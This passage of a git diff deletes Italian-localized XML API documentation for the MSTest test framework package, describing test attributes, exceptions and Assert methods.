- - - - - Ottiene le proprietà di un test. - - - - - Ottiene il nome completo della classe contenente il metodo di test attualmente in esecuzione - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Ottiene il nome del metodo di test attualmente in esecuzione - - - - - Ottiene il risultato del test corrente. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index d3540c8e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Metodo di test per l'esecuzione. - - - - - Ottiene il nome del metodo di test. - - - - - Ottiene il nome della classe di test. - - - - - Ottiene il tipo restituito del metodo di test. - - - - - Ottiene i parametri del metodo di test. - - - - - Ottiene l'oggetto methodInfo per il metodo di test. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Richiama il metodo di test. - - - Argomenti da passare al metodo di test, ad esempio per test basati sui dati - - - Risultato della chiamata del metodo di test. - - - This call handles asynchronous test methods as well. - - - - - Ottiene tutti gli attributi del metodo di test. - - - Indica se l'attributo definito nella classe padre è valido. - - - Tutti gli attributi. - - - - - Ottiene l'attributo di tipo specifico. - - System.Attribute type. - - Indica se l'attributo definito nella classe padre è valido. - - - Attributi del tipo specificato. - - - - - Helper. - - - - - Parametro check non Null. - - - Parametro. - - - Nome del parametro. - - - Messaggio. - - Throws argument null exception when parameter is null. - - - - Parametro check non Null o vuoto. - - - Parametro. - - - Nome del parametro. - - - Messaggio. - - Throws ArgumentException when parameter is null. - - - - Enumerazione relativa alla modalità di accesso alle righe di dati nei test basati sui dati. - - - - - Le righe vengono restituite in ordine sequenziale. - - - - - Le righe vengono restituite in ordine casuale. - - - - - Attributo per definire i dati inline per un metodo di test. - - - - - Inizializza una nuova istanza della classe . - - Oggetto dati. - - - - Inizializza una nuova istanza della classe che accetta una matrice di argomenti. - - Oggetto dati. - Altri dati. - - - - Ottiene i dati per chiamare il metodo di test. - - - - - Ottiene o imposta il nome visualizzato nei risultati del test per la personalizzazione. - - - - - Eccezione senza risultati dell'asserzione. - - - - - Inizializza una nuova istanza della classe . - - Messaggio. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio. - - - - Inizializza una nuova istanza della classe . - - - - - Classe InternalTestFailureException. Usata per indicare un errore interno per un test case - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inizializza una nuova istanza della classe . - - Messaggio dell'eccezione. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio dell'eccezione. - - - - Inizializza una nuova istanza della classe . - - - - - Attributo che specifica di presupporre un'eccezione del tipo specificato - - - - - Inizializza una nuova istanza della classe con il tipo previsto - - Tipo dell'eccezione prevista - - - - Inizializza una nuova istanza della classe con - il tipo previsto e il messaggio da includere quando il test non genera alcuna eccezione. - - Tipo dell'eccezione prevista - - Messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Ottiene un valore che indica il tipo dell'eccezione prevista - - - - - Ottiene o imposta un valore che indica se consentire a tipi derivati dal tipo dell'eccezione prevista - di qualificarsi come previsto - - - - - Ottiene il messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Verifica che il tipo dell'eccezione generata dallo unit test sia prevista - - Eccezione generata dallo unit test - - - - Classe di base per attributi che specificano se prevedere che uno unit test restituisca un'eccezione - - - - - Inizializza una nuova istanza della classe con un messaggio per indicare nessuna eccezione - - - - - Inizializza una nuova istanza della classe con un messaggio che indica nessuna eccezione - - - Messaggio da includere nel risultato del test se il test non riesce perché non - viene generata un'eccezione - - - - - Ottiene il messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Ottiene il messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Ottiene il messaggio predefinito per indicare nessuna eccezione - - Nome del tipo di attributo di ExpectedException - Messaggio predefinito per indicare nessuna eccezione - - - - Determina se l'eccezione è prevista. Se il metodo viene completato, si - presuppone che l'eccezione era prevista. Se il metodo genera un'eccezione, si - presuppone che l'eccezione non era prevista e il messaggio dell'eccezione generata - viene incluso nel risultato del test. Si può usare la classe per - comodità. Se si usa e l'asserzione non riesce, - il risultato del test viene impostato su Senza risultati. - - Eccezione generata dallo unit test - - - - Genera di nuovo l'eccezione se si tratta di un'eccezione AssertFailedException o AssertInconclusiveException - - Eccezione da generare di nuovo se si tratta di un'eccezione di asserzione - - - - Questa classe consente all'utente di eseguire testing unità per tipi che usano tipi generici. - GenericParameterHelper soddisfa alcuni dei vincoli di tipo generici più comuni, - ad esempio: - 1. costruttore predefinito pubblico - 2. implementa l'interfaccia comune: IComparable, IEnumerable - - - - - Inizializza una nuova istanza della classe che - soddisfa il vincolo 'newable' nei generics C#. - - - This constructor initializes the Data property to a random value. - - - - - Inizializza una nuova istanza della classe che - inizializza la proprietà Data con un valore fornito dall'utente. - - Qualsiasi valore Integer - - - - Ottiene o imposta i dati - - - - - Esegue il confronto dei valori di due oggetti GenericParameterHelper - - oggetto con cui eseguire il confronto - true se il valore di obj è uguale a quello dell'oggetto GenericParameterHelper 'this'; - in caso contrario, false. - - - - Restituisce un codice hash per questo oggetto. - - Codice hash. - - - - Confronta i dati dei due oggetti . - - Oggetto con cui eseguire il confronto. - - Numero con segno che indica i valori relativi di questa istanza e di questo valore. - - - Thrown when the object passed in is not an instance of . - - - - - Restituisce un oggetto IEnumerator la cui lunghezza viene derivata dalla - proprietà Data. - - L'oggetto IEnumerator - - - - Restituisce un oggetto GenericParameterHelper uguale a - quello corrente. - - Oggetto clonato. - - - - Consente agli utenti di registrare/scrivere tracce degli unit test per la diagnostica. - - - - - Gestore per LogMessage. - - Messaggio da registrare. - - - - Evento di cui rimanere in ascolto. Generato quando il writer di unit test scrive alcuni messaggi. - Utilizzato principalmente dall'adattatore. - - - - - API del writer di test da chiamare per registrare i messaggi. - - Formato stringa con segnaposto. - Parametri per segnaposto. - - - - Attributo TestCategory; usato per specificare la categoria di uno unit test. - - - - - Inizializza una nuova istanza della classe e applica la categoria al test. - - - Categoria di test. - - - - - Ottiene le categorie di test applicate al test. - - - - - Classe di base per l'attributo "Category" - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inizializza una nuova istanza della classe . - Applica la categoria al test. Le stringhe restituite da TestCategories - vengono usate con il comando /category per filtrare i test - - - - - Ottiene la categoria di test applicata al test. - - - - - Classe AssertFailedException. Usata per indicare un errore per un test case - - - - - Inizializza una nuova istanza della classe . - - Messaggio. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio. - - - - Inizializza una nuova istanza della classe . - - - - - Raccolta di classi helper per testare diverse condizioni - negli unit test. Se la condizione da testare non viene soddisfatta, - viene generata un'eccezione. - - - - - Ottiene l'istanza singleton della funzionalità Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Verifica se la condizione specificata è true e genera un'eccezione - se è false. - - - Condizione che il test presuppone sia true. - - - Thrown if is false. - - - - - Verifica se la condizione specificata è true e genera un'eccezione - se è false. - - - Condizione che il test presuppone sia true. - - - Messaggio da includere nell'eccezione quando - è false. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is false. - - - - - Verifica se la condizione specificata è true e genera un'eccezione - se è false. - - - Condizione che il test presuppone sia true. - - - Messaggio da includere nell'eccezione quando - è false. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is false. - - - - - Verifica se la condizione specificata è false e genera un'eccezione - se è true. - - - Condizione che il test presuppone sia false. - - - Thrown if is true. - - - - - Verifica se la condizione specificata è false e genera un'eccezione - se è true. - - - Condizione che il test presuppone sia false. - - - Messaggio da includere nell'eccezione quando - è true. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is true. - - - - - Verifica se la condizione specificata è false e genera un'eccezione - se è true. - - - Condizione che il test presuppone sia false. - - - Messaggio da includere nell'eccezione quando - è true. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is true. - - - - - Verifica se l'oggetto specificato è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone sia Null. - - - Thrown if is not null. - - - - - Verifica se l'oggetto specificato è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone sia Null. - - - Messaggio da includere nell'eccezione quando - non è Null. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is not null. - - - - - Verifica se l'oggetto specificato è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone sia Null. - - - Messaggio da includere nell'eccezione quando - non è Null. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not null. - - - - - Verifica se l'oggetto specificato non è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone non sia Null. - - - Thrown if is null. - - - - - Verifica se l'oggetto specificato non è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone non sia Null. - - - Messaggio da includere nell'eccezione quando - è Null. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is null. - - - - - Verifica se l'oggetto specificato non è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone non sia Null. - - - Messaggio da includere nell'eccezione quando - è Null. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is null. - - - - - Verifica se gli oggetti specificati si riferiscono entrambi allo stesso oggetto e - genera un'eccezione se i due input non si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore previsto dal test. - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if does not refer to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono entrambi allo stesso oggetto e - genera un'eccezione se i due input non si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore previsto dal test. - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if does not refer to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono entrambi allo stesso oggetto e - genera un'eccezione se i due input non si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore previsto dal test. - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not refer to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono a oggetti diversi e - genera un'eccezione se i due input si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if refers to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono a oggetti diversi e - genera un'eccezione se i due input si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if refers to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono a oggetti diversi e - genera un'eccezione se i due input si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if refers to the same object - as . - - - - - Verifica se i valori specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore previsto dai test. - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if is not equal to . - - - - - Verifica se i valori specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore previsto dai test. - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se i valori specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore previsto dai test. - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se i valori specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if is equal to . - - - - - Verifica se i valori specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se i valori specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se gli oggetti specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è l'oggetto previsto dai test. - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Thrown if is not equal to - . - - - - - Verifica se gli oggetti specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è l'oggetto previsto dai test. - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se gli oggetti specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è l'oggetto previsto dai test. - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se gli oggetti specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Thrown if is equal to . - - - - - Verifica se gli oggetti specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se gli oggetti specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se i valori float specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore float da confrontare. Questo è il valore float previsto dai test. - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Thrown if is not equal to - . - - - - - Verifica se i valori float specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore float da confrontare. Questo è il valore float previsto dai test. - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se i valori float specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore float da confrontare. Questo è il valore float previsto dai test. - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se i valori float specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore float da confrontare. Questo è il valore float che il test presuppone - non corrisponda a . - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Thrown if is equal to . - - - - - Verifica se i valori float specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore float da confrontare. Questo è il valore float che il test presuppone - non corrisponda a . - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se i valori float specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore float da confrontare. Questo è il valore float che il test presuppone - non corrisponda a . - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se i valori double specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore double da confrontare. Questo è il valore double previsto dai test. - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Thrown if is not equal to - . - - - - - Verifica se i valori double specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore double da confrontare. Questo è il valore double previsto dai test. - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is not equal to . - - - - - Verifica se i valori double specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore double da confrontare. Questo è il valore double previsto dai test. - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to . - - - - - Verifica se i valori double specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore double da confrontare. Questo è il valore double che il test presuppone - non corrisponda a . - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Thrown if is equal to . - - - - - Verifica se i valori double specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore double da confrontare. Questo è il valore double che il test presuppone - non corrisponda a . - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se i valori double specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore double da confrontare. Questo è il valore double che il test presuppone - non corrisponda a . - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se l'oggetto specificato è un'istanza del tipo previsto - e genera un'eccezione se il tipo 